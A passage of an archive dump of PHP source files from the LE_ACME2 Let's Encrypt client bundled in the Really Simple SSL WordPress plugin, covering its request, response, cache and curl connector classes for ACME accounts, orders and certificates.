        $matches = $this->_preg_match_headerLine($this->_pattern_header_location);
        return trim($matches[1]);
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/Order/GetCertificate.php000064400000002517147510273070027040 0ustar00<?php

namespace LE_ACME2\Response\Order;
defined('ABSPATH') or die();

use LE_ACME2\Response\AbstractResponse;

class GetCertificate extends AbstractResponse {

    protected $_pattern = '~(-----BEGIN\sCERTIFICATE-----[\s\S]+?-----END\sCERTIFICATE-----)~i';


    public function getCertificate() : string {

        if(preg_match_all($this->_pattern, $this->_raw->body, $matches))  {

            return $matches[0][0];
        }

        throw new \RuntimeException('Preg_match_all has returned false - invalid pattern?');
    }

    public function getIntermediate() : string {

        if(preg_match_all($this->_pattern, $this->_raw->body, $matches))  {

            $result = '';

            for($i=1; $i<count($matches[0]); $i++)  {

                $result .= "\n" . $matches[0][$i];
            }
            return $result;
        }

        throw new \RuntimeException('Preg_match_all has returned false - invalid pattern?');
    }

    /**
     * @return string[]
     */
    public function getAlternativeLinks() : array {

        $result = [];

        foreach($this->_raw->header as $line) {
            $matches = [];
            preg_match_all('/^link: <(.*)>;rel="alternate"$/', $line, $matches);

            if(isset($matches[1][0])) {
                $result[] = $matches[1][0];
            }
        }

        return $result;
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/Order/Create.php000064400000000155147510273070025355 0ustar00<?php

namespace LE_ACME2\Response\Order;
defined('ABSPATH') or die();

class Create extends AbstractOrder {}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/Order/Finalize.php000064400000000157147510273070025715 0ustar00<?php

namespace LE_ACME2\Response\Order;
defined('ABSPATH') or die();

class Finalize extends AbstractOrder {}lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/Order/RevokeCertificate.php000064400000000244147510273070027470 0ustar00really-simple-ssl<?php

namespace LE_ACME2\Response\Order;
defined('ABSPATH') or die();

use LE_ACME2\Response\AbstractResponse;

class RevokeCertificate extends AbstractResponse {}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/Order/AbstractOrder.php000064400000003357147510273070026720 0ustar00<?php

namespace LE_ACME2\Response\Order;
defined('ABSPATH') or die();

use LE_ACME2\Response\AbstractResponse;
use LE_ACME2\Exception;

abstract class AbstractOrder extends AbstractResponse {

    const STATUS_PENDING = 'pending';
    const STATUS_VALID = 'valid';
    const STATUS_READY = 'ready';
    const STATUS_INVALID = 'invalid';

    public function getLocation() : string {

        $matches = $this->_preg_match_headerLine($this->_pattern_header_location);
        return trim($matches[1]);
    }

    public function getStatus() : string {
        return $this->_raw->body['status'];
    }

    public function getExpires() : string {
        return $this->_raw->body['expires'];
    }

    public function getIdentifiers() : array {
        return $this->_raw->body['identifiers'];
    }

    public function getAuthorizations() : array {
        return $this->_raw->body['authorizations'];
    }

    public function getFinalize() : string {
        return $this->_raw->body['finalize'];
    }

    public function getCertificate() : string {
        return $this->_raw->body['certificate'];
    }

    /**
     * @return bool
     * @throws Exception\StatusInvalid
     */
    protected function _isValid(): bool {

        if(!parent::_isValid()) {
            return false;
        }

        if(
            $this->getStatus() == AbstractOrder::STATUS_INVALID
        ) {
            throw new Exception\StatusInvalid('Order has status "' . AbstractOrder::STATUS_INVALID . '"'.
                '. Probably all authorizations have failed. ' . PHP_EOL .
                'Please see: ' . $this->getLocation() . PHP_EOL .
                'Continue by using $order->clear() after getting rid of the problem'
            );
        }

        return true;
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/Order/Get.php000064400000001307147510273070024671 0ustar00<?php

namespace LE_ACME2\Response\Order;
defined('ABSPATH') or die();

use LE_ACME2\Connector\RawResponse;
use LE_ACME2\Exception;

class Get extends AbstractOrder {

    /**
     * Get constructor.
     *
     * @param RawResponse $raw
     * @param $orderURL
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function __construct(RawResponse $raw, string $orderURL) {

        // Dirty fix: Header of response "Get" does not contain an order url, instead of response "Create"
        // Is needed on production server, not on staging server - tested: 12.04.2021
        $raw->header[] = 'Location: ' . $orderURL;

        parent::__construct($raw);
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/GetDirectory.php000064400000001674147510273070025512 0ustar00<?php

namespace LE_ACME2\Response;
defined('ABSPATH') or die();

class GetDirectory extends AbstractResponse {

    public function getKeyChange() : string {
        return $this->_raw->body['keyChange'];
    }

    public function getNewAccount() : string {
        return $this->_raw->body['newAccount'];
    }

    public function getNewNonce() : string {
        return $this->_raw->body['newNonce'];
    }

    public function getNewOrder() : string {
        return $this->_raw->body['newOrder'];
    }

    public function getRevokeCert() : string {
        return $this->_raw->body['revokeCert'];
    }
    
    public function getTermsOfService() : string {
        return $this->_raw->body['meta']['termsOfService'];
    }

    public function getWebsite() : string {
        return $this->_raw->body['meta']['website'];
    }

    public function getCaaIdentities() : string {
        return $this->_raw->body['meta']['caaIdentities'];
    }
}
really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Cache/NewNonceResponse.php000064400000001673147510273070025545 0ustar00<?php
namespace LE_ACME2\Cache;
defined('ABSPATH') or die();

use LE_ACME2\SingletonTrait;

use LE_ACME2\Exception;
use LE_ACME2\Request;
use LE_ACME2\Response;

class NewNonceResponse {

    use SingletonTrait;

    private function __construct() {}

    private $_responses = [];
    private $_index = 0;

    /**
     * @return Response\GetNewNonce
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function get() : Response\GetNewNonce {

        if(array_key_exists($this->_index, $this->_responses)) {
            return $this->_responses[$this->_index];
        }
        $this->_responses[$this->_index] = null;

        $request = new Request\GetNewNonce();
        $response = $request->getResponse();
        $this->set($response);

        return $response;
    }

    public function set(Response\GetNewNonce $response) : void {
        $this->_responses[$this->_index] = $response;
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Cache/DirectoryResponse.php000064400000003251147510273070025767 0ustar00<?php
namespace LE_ACME2\Cache;
defined('ABSPATH') or die();

use LE_ACME2\Connector;

use LE_ACME2\Account;
use LE_ACME2\SingletonTrait;

use LE_ACME2\Exception;
use LE_ACME2\Request;
use LE_ACME2\Response;

class DirectoryResponse {
    
    use SingletonTrait;

    private const _FILE = 'DirectoryResponse';
    
    private function __construct() {}
    
    private $_responses = [];
    private $_index = 0;

    /**
     * @return Response\GetDirectory
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function get() : Response\GetDirectory {

        if(array_key_exists($this->_index, $this->_responses)) {
            return $this->_responses[$this->_index];
        }
        $this->_responses[$this->_index] = null;

        $cacheFile = Account::getCommonKeyDirectoryPath() . self::_FILE;

        if(file_exists($cacheFile) && filemtime($cacheFile) > strtotime('-2 days')) {

            $rawResponse = Connector\RawResponse::getFromString(file_get_contents($cacheFile));

            try {
                return $this->_responses[$this->_index] = new Response\GetDirectory($rawResponse);

            } catch(Exception\AbstractException $e) {
                unlink($cacheFile);
            }
        }

        $request = new Request\GetDirectory();
        $response = $request->getResponse();
        $this->set($response);

        return $response;
    }

    public function set(Response\GetDirectory $response) : void {

        $cacheFile = Account::getCommonKeyDirectoryPath() . self::_FILE;

        $this->_responses[$this->_index] = $response;
        file_put_contents($cacheFile, $response->getRaw()->toString());
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Cache/OrderResponse.php000064400000007465147510273070025111 0ustar00<?php
namespace LE_ACME2\Cache;
defined('ABSPATH') or die();

use LE_ACME2\Connector;
use LE_ACME2\Order;
use LE_ACME2\Request;
use LE_ACME2\Response;
use LE_ACME2\Exception;
use LE_ACME2\Utilities;
use LE_ACME2\SingletonTrait;

class OrderResponse extends AbstractKeyValuableCache {

    use SingletonTrait;

    private const _FILE = 'CacheResponse';
    private const _DEPRECATED_FILE = 'DirectoryNewOrderResponse';

    private $_responses = [];

    public function exists(Order $order) : bool {

        $cacheFile = $order->getKeyDirectoryPath() . self::_FILE;
        $deprecatedCacheFile = $order->getKeyDirectoryPath() . self::_DEPRECATED_FILE;

        return file_exists($cacheFile) || file_exists($deprecatedCacheFile);
    }

    /**
     * @param Order $order
     * @return Response\Order\AbstractOrder
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function get(Order $order): Response\Order\AbstractOrder {

        $accountIdentifier = $this->_getObjectIdentifier($order->getAccount());
        $orderIdentifier = $this->_getObjectIdentifier($order);

        if(!isset($this->_responses[$accountIdentifier])) {
            $this->_responses[$accountIdentifier] = [];
        }

        if(array_key_exists($orderIdentifier, $this->_responses[$accountIdentifier])) {
            return $this->_responses[ $accountIdentifier ][ $orderIdentifier ];
        }
        $this->_responses[ $accountIdentifier ][ $orderIdentifier ] = null;

        $cacheFile = $order->getKeyDirectoryPath() . self::_FILE;
        $deprecatedCacheFile = $order->getKeyDirectoryPath() . self::_DEPRECATED_FILE;

        if(file_exists($deprecatedCacheFile) && !file_exists($cacheFile)) {
            rename($deprecatedCacheFile, $cacheFile);
        }

        if(file_exists($cacheFile)) {

            $rawResponse = Connector\RawResponse::getFromString(file_get_contents($cacheFile));

            $response = new Response\Order\Create($rawResponse);

            if(
                $response->getStatus() != Response\Order\AbstractOrder::STATUS_VALID
            ) {

                Utilities\Logger::getInstance()->add(
                    Utilities\Logger::LEVEL_DEBUG,
                    get_class() . '::' . __FUNCTION__ . ' (cache did not satisfy, status "' . $response->getStatus() . '")'
                );

                $request = new Request\Order\Get($order, $response);
                $response = $request->getResponse();
                $this->set($order, $response);
                return $response;
            }

            Utilities\Logger::getInstance()->add(
                Utilities\Logger::LEVEL_DEBUG,
                get_class() . '::' . __FUNCTION__ .  ' (from cache, status "' . $response->getStatus() . '")'
            );

            $this->_responses[$accountIdentifier][$orderIdentifier] = $response;

            return $response;
        }

        throw new \RuntimeException(
            self::_FILE . ' could not be found for order: ' .
            '- Path: ' . $order->getKeyDirectoryPath() . PHP_EOL .
            '- Subjects: ' . var_export($order->getSubjects(), true) . PHP_EOL
        );
    }

    public function set(Order $order, Response\Order\AbstractOrder $response = null) : void {

        $accountIdentifier = $this->_getObjectIdentifier($order->getAccount());
        $orderIdentifier = $this->_getObjectIdentifier($order);

        $filePath = $order->getKeyDirectoryPath() . self::_FILE;

        if($response === null) {

            unset($this->_responses[$accountIdentifier][$orderIdentifier]);

            if(file_exists($filePath)) {
                unlink($filePath);
            }

            return;
        }

        $this->_responses[$accountIdentifier][$orderIdentifier] = $response;
        file_put_contents($filePath, $response->getRaw()->toString());
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Cache/AccountResponse.php000064400000005041147510273070025416 0ustar00<?php
namespace LE_ACME2\Cache;
defined('ABSPATH') or die();

use LE_ACME2\Account;
use LE_ACME2\Connector;
use LE_ACME2\Request;
use LE_ACME2\Response;
use LE_ACME2\Exception;
use LE_ACME2\Utilities;
use LE_ACME2\SingletonTrait;

class AccountResponse extends AbstractKeyValuableCache {

    use SingletonTrait;

    private const _FILE = 'CacheResponse';
    private const _DEPRECATED_FILE = 'DirectoryNewAccountResponse';

    private $_responses = [];

    /**
     * @param Account $account
     * @return Response\Account\AbstractAccount
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function get(Account $account): Response\Account\AbstractAccount {

        $accountIdentifier = $this->_getObjectIdentifier($account);

        if(array_key_exists($accountIdentifier, $this->_responses)) {
            return $this->_responses[ $accountIdentifier ];
        }
        $this->_responses[ $accountIdentifier ] = null;

        $cacheFile = $account->getKeyDirectoryPath() . self::_FILE;
        $deprecatedCacheFile = $account->getKeyDirectoryPath() . self::_DEPRECATED_FILE;

        if(file_exists($deprecatedCacheFile) && !file_exists($cacheFile)) {
            rename($deprecatedCacheFile, $cacheFile);
        }

        if(file_exists($cacheFile) && filemtime($cacheFile) > strtotime('-7 days')) {

            $rawResponse = Connector\RawResponse::getFromString(file_get_contents($cacheFile));

            $response = new Response\Account\Create($rawResponse);

            $this->_responses[ $accountIdentifier ] = $response;

            Utilities\Logger::getInstance()->add(
                Utilities\Logger::LEVEL_DEBUG,
                get_class() . '::' . __FUNCTION__ . ' response from cache'
            );

            return $response;
        }

        $request = new Request\Account\Get($account);
        $response = $request->getResponse();

        $this->set($account, $response);

        return $response;
    }

    public function set(Account $account, Response\Account\AbstractAccount $response = null) : void {

        $accountIdentifier = $this->_getObjectIdentifier($account);

        $filePath = $account->getKeyDirectoryPath() . self::_FILE;

        if($response === null) {

            unset($this->_responses[$accountIdentifier]);

            if(file_exists($filePath)) {
                unlink($filePath);
            }

            return;
        }

        $this->_responses[$accountIdentifier] = $response;
        file_put_contents($filePath, $response->getRaw()->toString());
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Cache/AbstractKeyValuableCache.php000064400000000477147510273070027127 0ustar00<?php
namespace LE_ACME2\Cache;
defined('ABSPATH') or die();

use LE_ACME2\AbstractKeyValuable;

abstract class AbstractKeyValuableCache {

    protected function __construct() {}

    protected function _getObjectIdentifier(AbstractKeyValuable $object) : string {
        return $object->getKeyDirectoryPath();
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Connector/RawResponse.php000064400000002323147510273070025502 0ustar00<?php

namespace LE_ACME2\Connector;
defined('ABSPATH') or die();

class RawResponse {

    /** @var string */
    public $request;

    /** @var array */
    public $header;

    /** @var array|string */
    public $body;

    public function init(string $method, string $url, string $response, int $headerSize) {

        $header = substr($response, 0, $headerSize);
        $body = substr($response, $headerSize);

        $body_json = json_decode($body, true);

        $this->request = $method . ' ' . $url;

        $this->header = array_map(function($line) {
            return trim($line);
        }, explode("\n", $header));

        $this->body = $body_json === null ? $body : $body_json;
    }

    public function toString() : string {

        return serialize([
            'request' => $this->request,
            'header' => $this->header,
            'body' => $this->body,
        ]);
    }

    public static function getFromString(string $string) : self {

        $array = unserialize($string);

        $rawResponse = new self();

        $rawResponse->request = $array['request'];
        $rawResponse->header = $array['header'];
        $rawResponse->body = $array['body'];

        return $rawResponse;
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Connector/Connector.php000064400000006776147510273070025204 0ustar00<?php

namespace LE_ACME2\Connector;
defined('ABSPATH') or die();

use LE_ACME2\Request;
use LE_ACME2\Response;

use LE_ACME2\SingletonTrait;
use LE_ACME2\Cache;
use LE_ACME2\Utilities;
use LE_ACME2\Exception;

class Connector {

    use SingletonTrait;
    
    const METHOD_GET = 'GET';
    const METHOD_HEAD = 'HEAD';
    const METHOD_POST = 'POST';

    private function __construct() {}

    protected $_baseURL = 		 'https://acme-v02.api.letsencrypt.org';
    protected $_stagingBaseURL = 'https://acme-staging-v02.api.letsencrypt.org';

    protected $_useStagingServer = true;

    public function useStagingServer(bool $useStagingServer) {
        $this->_useStagingServer = $useStagingServer;
    }

    public function isUsingStagingServer() : bool {
        return $this->_useStagingServer;
    }

    public function getBaseURL() : string {
        return $this->_useStagingServer ? $this->_stagingBaseURL : $this->_baseURL;
    }

    /**
     * Makes a Curl request.
     *
     * @param string	$method	The HTTP method to use. Accepting GET, POST and HEAD requests.
     * @param string 	$url 	The URL to make the request to.
     * @param string 	$data  	The body to attach to a POST request. Expected as a JSON encoded string.
     *
     * @return RawResponse
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function request(string $method, string $url, string $data = null) : RawResponse {

        Utilities\Logger::getInstance()->add(Utilities\Logger::LEVEL_INFO, 'will request from ' . $url, $data);

        $handle = curl_init();

        $headers = array(
            'Accept: application/json',
            'Content-Type: ' . ($method == self::METHOD_POST ? 'application/jose+json' : 'application/json') //  ACME draft-10, section 6.2
        );

        curl_setopt($handle, CURLOPT_URL, $url);
        curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($handle, CURLOPT_HEADER, true);

        switch ($method) {
            case self::METHOD_GET:
                break;
            case self::METHOD_POST:
                curl_setopt($handle, CURLOPT_POST, true);
                curl_setopt($handle, CURLOPT_POSTFIELDS, $data);
                break;
            case self::METHOD_HEAD:
                curl_setopt($handle, CURLOPT_CUSTOMREQUEST, 'HEAD');
                curl_setopt($handle, CURLOPT_NOBODY, true);
                break;
            default:
                throw new \RuntimeException('HTTP request ' . $method . ' not supported.');
                break;
        }
        $response = curl_exec($handle);

        if(curl_errno($handle)) {
            throw new \RuntimeException('Curl: ' . curl_error($handle));
        }

        $header_size = curl_getinfo($handle, CURLINFO_HEADER_SIZE);

        $rawResponse = new RawResponse();
        $rawResponse->init($method, $url, $response, $header_size);

        Utilities\Logger::getInstance()->add(Utilities\Logger::LEVEL_INFO, self::class . ': response received', $rawResponse);


        try {
            $getNewNonceResponse = new Response\GetNewNonce($rawResponse);
            Cache\NewNonceResponse::getInstance()->set($getNewNonceResponse);

        } catch(Exception\InvalidResponse $e) {

            if($method == self::METHOD_POST) {
                $request = new Request\GetNewNonce();
                Cache\NewNonceResponse::getInstance()->set($request->getResponse());
            }
        }

        return $rawResponse;
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Request/Authorization/Start.php000064400000003176147510273070026674 0ustar00<?php

namespace LE_ACME2\Request\Authorization;
defined('ABSPATH') or die();

use LE_ACME2\Request\AbstractRequest;

use LE_ACME2\Connector;
use LE_ACME2\Cache;
use LE_ACME2\Exception;
use LE_ACME2\Response;
use LE_ACME2\Struct\ChallengeAuthorizationKey;
use LE_ACME2\Utilities;

use LE_ACME2\Account;
use LE_ACME2\Order;

class Start extends AbstractRequest {

    protected $_account;
    protected $_order;
    protected $_challenge;

    public function __construct(Account $account, Order $order, Response\Authorization\Struct\Challenge $challenge) {

        $this->_account = $account;
        $this->_order = $order;
        $this->_challenge = $challenge;
    }

    /**
     * @return Response\AbstractResponse|Response\Authorization\Start
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     * @throws Exception\ExpiredAuthorization
     */
    public function getResponse() : Response\AbstractResponse {

        $payload = [
            'keyAuthorization' => (new ChallengeAuthorizationKey($this->_account))->get($this->_challenge->token)
        ];

        $kid = Utilities\RequestSigner::KID(
            $payload,
            Cache\AccountResponse::getInstance()->get($this->_account)->getLocation(),
            $this->_challenge->url,
            Cache\NewNonceResponse::getInstance()->get()->getNonce(),
            $this->_account->getKeyDirectoryPath()
        );

        $result = Connector\Connector::getInstance()->request(
            Connector\Connector::METHOD_POST,
            $this->_challenge->url,
            $kid
        );

        return new Response\Authorization\Start($result);
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Request/Authorization/Get.php000064400000002530147510273070026307 0ustar00<?php

namespace LE_ACME2\Request\Authorization;
defined('ABSPATH') or die();

use LE_ACME2\Request\AbstractRequest;

use LE_ACME2\Connector;
use LE_ACME2\Cache;
use LE_ACME2\Exception;
use LE_ACME2\Response;
use LE_ACME2\Utilities;

use LE_ACME2\Account;

class Get extends AbstractRequest {

    protected $_account;
    protected $_authorizationURL;

    public function __construct(Account $account, string $authorizationURL) {

        $this->_account = $account;
        $this->_authorizationURL = $authorizationURL;
    }

    /**
     * @return Response\AbstractResponse|Response\Authorization\Get
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     * @throws Exception\ExpiredAuthorization
     */
    public function getResponse() : Response\AbstractResponse {

        $kid = Utilities\RequestSigner::KID(
            null,
            Cache\AccountResponse::getInstance()->get($this->_account)->getLocation(),
            $this->_authorizationURL,
            Cache\NewNonceResponse::getInstance()->get()->getNonce(),
            $this->_account->getKeyDirectoryPath()
        );

        $result = Connector\Connector::getInstance()->request(
            Connector\Connector::METHOD_POST,
            $this->_authorizationURL,
            $kid
        );

        return new Response\Authorization\Get($result);
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Request/Account/Deactivate.php000064400000001134147510273070026374 0ustar00<?php

namespace LE_ACME2\Request\Account;
defined('ABSPATH') or die();

use LE_ACME2\Response;

use LE_ACME2\Exception;

class Deactivate extends AbstractLocation {

    protected function _getPayload() : array {

        return [
            'status' => 'deactivated',
        ];
    }

    /**
     * @return Response\AbstractResponse|Response\Account\Deactivate
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function getResponse() : Response\AbstractResponse {

        return new Response\Account\Deactivate($this->_getRawResponse());
    }
}
really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Request/Account/GetData.php000064400000001066147510273070025640 0ustar00<?php

namespace LE_ACME2\Request\Account;
defined('ABSPATH') or die();

use LE_ACME2\Response;

use LE_ACME2\Exception;

class GetData extends AbstractLocation {
    
    protected function _getPayload() : array {
        
        return [];
    }

    /**
     * @return Response\AbstractResponse|Response\Account\GetData
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function getResponse() : Response\AbstractResponse {
        
        return new Response\Account\GetData($this->_getRawResponse());
    }
}lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Request/Account/AbstractLocation.php000064400000002644147510273070027507 0ustar00really-simple-ssl<?php

namespace LE_ACME2\Request\Account;
defined('ABSPATH') or die();

use LE_ACME2\Request\AbstractRequest;

use LE_ACME2\Connector;
use LE_ACME2\Cache;
use LE_ACME2\Utilities;
use LE_ACME2\Exception;

use LE_ACME2\Account;

abstract class AbstractLocation extends AbstractRequest {

    protected $_account;

    public function __construct(Account $account) {
        $this->_account = $account;
    }

    /**
     * @return Connector\RawResponse
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    protected function _getRawResponse() : Connector\RawResponse {

        $payload = $this->_getPayload();
        if(count($payload) == 0) {
            $payload['rand-' . rand(100000, 1000000)] = 1;
        }

        $kid = Utilities\RequestSigner::KID(
            $payload,
            Cache\AccountResponse::getInstance()->get($this->_account)->getLocation(),
            Cache\AccountResponse::getInstance()->get($this->_account)->getLocation(),
            Cache\NewNonceResponse::getInstance()->get()->getNonce(),
            $this->_account->getKeyDirectoryPath()
        );

        $result = Connector\Connector::getInstance()->request(
            Connector\Connector::METHOD_POST,
            Cache\AccountResponse::getInstance()->get($this->_account)->getLocation(),
            $kid
        );

        return $result;
    }

    abstract protected function _getPayload() : array;
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Request/Account/Get.php000064400000002357147510273070025052 0ustar00<?php

namespace LE_ACME2\Request\Account;
defined('ABSPATH') or die();

use LE_ACME2\Request\AbstractRequest;
use LE_ACME2\Response;

use LE_ACME2\Connector;
use LE_ACME2\Cache;
use LE_ACME2\Exception;
use LE_ACME2\Utilities;

use LE_ACME2\Account;

class Get extends AbstractRequest {

    protected $_account;

    public function __construct(Account $account) {
        $this->_account = $account;
    }

    /**
     * @return Response\AbstractResponse|Response\Account\Get
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function getResponse() : Response\AbstractResponse {

        $payload = [
            'onlyReturnExisting' => true,
        ];

        $jwk = Utilities\RequestSigner::JWKString(
            $payload,
            Cache\DirectoryResponse::getInstance()->get()->getNewAccount(),
            Cache\NewNonceResponse::getInstance()->get()->getNonce(),
            $this->_account->getKeyDirectoryPath()
        );

        $result = Connector\Connector::getInstance()->request(
            Connector\Connector::METHOD_POST,
            Cache\DirectoryResponse::getInstance()->get()->getNewAccount(),
            $jwk
        );

        return new Response\Account\Get($result);
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Request/Account/ChangeKeys.php000064400000005513147510273070026351 0ustar00<?php

namespace LE_ACME2\Request\Account;
defined('ABSPATH') or die();

use LE_ACME2\Request\AbstractRequest;
use LE_ACME2\Response;

use LE_ACME2\Connector;
use LE_ACME2\Cache;
use LE_ACME2\Utilities;
use LE_ACME2\Exception;

use LE_ACME2\Account;

class ChangeKeys extends AbstractRequest {

    protected $_account;

    public function __construct(Account $account) {
        $this->_account = $account;
    }

    /**
     * @return Response\AbstractResponse|Response\Account\ChangeKeys
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function getResponse() : Response\AbstractResponse {

        $currentPrivateKey = openssl_pkey_get_private(
            file_get_contents($this->_account->getKeyDirectoryPath() . 'private.pem')
        );
        $currentPrivateKeyDetails = openssl_pkey_get_details($currentPrivateKey);

        /**
         *  draft-13 Section 7.3.6
         *  "newKey" is deprecated after August 23rd 2018
         */
        $newPrivateKey = openssl_pkey_get_private(
            file_get_contents($this->_account->getKeyDirectoryPath() . 'private-replacement.pem')
        );
        $newPrivateKeyDetails = openssl_pkey_get_details($newPrivateKey);

        $innerPayload = [
            'account' => Cache\AccountResponse::getInstance()->get($this->_account)->getLocation(),
            'oldKey' => [
                "kty" => "RSA",
                "n" => Utilities\Base64::UrlSafeEncode($currentPrivateKeyDetails["rsa"]["n"]),
                "e" => Utilities\Base64::UrlSafeEncode($currentPrivateKeyDetails["rsa"]["e"])
            ],
            'newKey' => [
                "kty" => "RSA",
                "n" => Utilities\Base64::UrlSafeEncode($newPrivateKeyDetails["rsa"]["n"]),
                "e" => Utilities\Base64::UrlSafeEncode($newPrivateKeyDetails["rsa"]["e"])
            ]
        ];

        $outerPayload = Utilities\RequestSigner::JWK(
            $innerPayload,
            Cache\DirectoryResponse::getInstance()->get()->getKeyChange(),
            Cache\NewNonceResponse::getInstance()->get()->getNonce(),
            $this->_account->getKeyDirectoryPath(),
            'private-replacement.pem'
        );

        $data = Utilities\RequestSigner::KID(
            $outerPayload,
            Cache\AccountResponse::getInstance()->get($this->_account)->getLocation(),
            Cache\DirectoryResponse::getInstance()->get()->getKeyChange(),
            Cache\NewNonceResponse::getInstance()->get()->getNonce(),
            $this->_account->getKeyDirectoryPath(),
            'private.pem'
        );

        $result = Connector\Connector::getInstance()->request(
            Connector\Connector::METHOD_POST,
            Cache\DirectoryResponse::getInstance()->get()->getKeyChange(),
            $data
        );

        return new Response\Account\ChangeKeys($result);
    }
}
really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Request/Account/Create.php000064400000002555147510273070025536 0ustar00<?php

namespace LE_ACME2\Request\Account;
defined('ABSPATH') or die();

use LE_ACME2\Request\AbstractRequest;
use LE_ACME2\Response;

use LE_ACME2\Connector;
use LE_ACME2\Cache;
use LE_ACME2\Utilities;
use LE_ACME2\Exception;

use LE_ACME2\Account;

class Create extends AbstractRequest {
    
    protected $_account;
    
    public function __construct(Account $account) {
        $this->_account = $account;
    }

    /**
     * @return Response\AbstractResponse|Response\Account\Create
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function getResponse() : Response\AbstractResponse {

        $payload = [
            'contact' => $this->_buildContactPayload($this->_account->getEmail()),
            'termsOfServiceAgreed' => true,
        ];
        
        $jwk = Utilities\RequestSigner::JWKString(
            $payload,
            Cache\DirectoryResponse::getInstance()->get()->getNewAccount(),
            Cache\NewNonceResponse::getInstance()->get()->getNonce(),
            $this->_account->getKeyDirectoryPath()
        );
        
        $result = Connector\Connector::getInstance()->request(
            Connector\Connector::METHOD_POST,
            Cache\DirectoryResponse::getInstance()->get()->getNewAccount(),
            $jwk
        );
        
        return new Response\Account\Create($result);
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Request/Account/Update.php000064400000001467147510273070025556 0ustar00<?php

namespace LE_ACME2\Request\Account;
defined('ABSPATH') or die();

use LE_ACME2\Response;

use LE_ACME2\Exception;

use LE_ACME2\Account;

class Update extends AbstractLocation {

    protected $_newEmail;

    public function __construct(Account $account, $newEmail) {

        parent::__construct($account);

        $this->_newEmail = $newEmail;
    }

    protected function _getPayload() : array {

        return [
            'contact' => $this->_buildContactPayload($this->_newEmail),
        ];
    }

    /**
     * @return Response\AbstractResponse|Response\Account\Update
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function getResponse() : Response\AbstractResponse {
        return new Response\Account\Update($this->_getRawResponse());
    }
}
really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Request/AbstractRequest.php000064400000001013147510273070026037 0ustar00<?php

namespace LE_ACME2\Request;
defined('ABSPATH') or die();

use LE_ACME2\Response\AbstractResponse;

use LE_ACME2\Exception;

abstract class AbstractRequest {

    /**
     * @return AbstractResponse
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    abstract public function getResponse() : AbstractResponse;

    protected function _buildContactPayload(string $email) : array {

        $result = [
            'mailto:' . $email
        ];
        return $result;
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Request/GetDirectory.php000064400000001231147510273070025331 0ustar00<?php

namespace LE_ACME2\Request;
defined('ABSPATH') or die();

use LE_ACME2\Response;

use LE_ACME2\Connector\Connector;
use LE_ACME2\Exception;

class GetDirectory extends AbstractRequest {

    /**
     * @return Response\AbstractResponse|Response\GetDirectory
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function getResponse() : Response\AbstractResponse {

        $connector = Connector::getInstance();

        $result = $connector->request(
            Connector::METHOD_GET,
             $connector->getBaseURL() . '/directory'
        );
        return new Response\GetDirectory($result);
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Request/GetNewNonce.php000064400000001250147510273070025102 0ustar00<?php

namespace LE_ACME2\Request;
defined('ABSPATH') or die();

use LE_ACME2\Response;

use LE_ACME2\Connector;
use LE_ACME2\Cache;
use LE_ACME2\Exception;

class GetNewNonce extends AbstractRequest {

    /**
